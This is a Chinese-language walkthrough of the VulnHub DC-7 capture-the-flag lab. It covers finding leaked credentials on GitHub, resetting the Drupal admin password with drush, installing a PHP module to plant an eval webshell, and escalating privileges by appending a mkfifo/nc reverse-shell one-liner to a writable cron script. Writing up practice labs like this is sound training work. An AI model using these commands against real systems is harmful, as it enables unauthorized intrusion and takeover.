vulnhub dc-7
信息收集
ip已经确定为:192.168.123.76
然后接下来就是端口、服务、后台等一波信息收集
发现了22和80端口开着的
访问一波80端口,虽然底下已经标注了是wordpress的cms
在左下角发现了一串信息 @DC7USER ,这个信息感觉在以前的版本中没有发现过,这是个啥意思,搜一下
好家伙,百度直接出现了一个github仓库,进去看一看
关键词查询DC7User
发现有很多文件,当我一看见config.php这种敏感文件,我就忍不住去看一下,没想到发现了一个用户账号和密码
难道是drupal的默认账号密码?好家伙,赶紧试一试
登录看看,发现登录失败
好家伙,这是忽悠我呢
然后我想了想,我记得还有个22端口打开了的,也去试一试吧
SSH连接
没想到可以连上去,好家伙
然后在上面发现了一个mbox邮件,里面好像记录的是日志信息,并且这肯定是有任务计划程序,因为出现了好几段关于数据库的信息,根据时间嘻嘻,这个任务计划每15分钟执行一次
果不其然在opt/script下发现了计划任务shell脚本
我也在msf里面搜索了一波关于drupal的漏洞,都试了一边,发现没有成功的,这drupal 8版本
看来还是只有去把源文件给翻个遍
发现就在用户的目录下还有一个备份的脚本文件,好家伙,之前太心切都忘了这个文件夹
好家伙,这玩意儿是用gpg加密了的,只有再有没有其他思路
然后又回去把之前找到的一些文件仔细看了一遍,发现在backup.sh脚本文件中的drush命令,这个命令是drupal的常用命令,能干的事情非常多,可以利用这个命令新建用户
1 | drush ucrt abc –password=abc |
不过尝试之后发现还是级别不够
然后我去了网站的目录下去执行,发现成功了
欣喜若狂,去登录试试
狂个吊毛,还是登录失败,然后我用旁边的重置密码功能测试出是有一个admin账号的
drush命令修改密码
想想办法能不能利用drush命令把admin用户的密码给它改了
在网上找到了命令,把admin用户的密码改为admin
1 | drush user-password admin --password='admin' |
好家伙,修改成功,那直接登录一波
成功登录后台
看见这个界面就让我想起了上次打过的靶场,那一次是使用PHP反弹shell,这次当然也是老样子啦
没想到居然没有PHP脚本选项
网上找了一下,是可以通过安装php环境插件的
安装php环境插件
php插件链接
1 | https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz |
安装完了之后,记得还要去扩展里面启用它
在这里找到PHP并选中,然后选择最底部的install ,这样php环境就启用了
接下来就开始写php shell了
php shell
利用php的eval函数,先用蚁剑连接
1 | <?php |
连接成功
用nc反弹到kali上
再使用python提升为交互式shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
因为这个任务计划脚本是属于www-data组,且具有写权限
向计划任务写反弹shell
所以我们向里面写入nc 连接 shell,追加进去
1 | echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.123.184 9898 >/tmp/f" >> backups.sh |
等待15分钟即可
成功拿到shell
成功拿到flag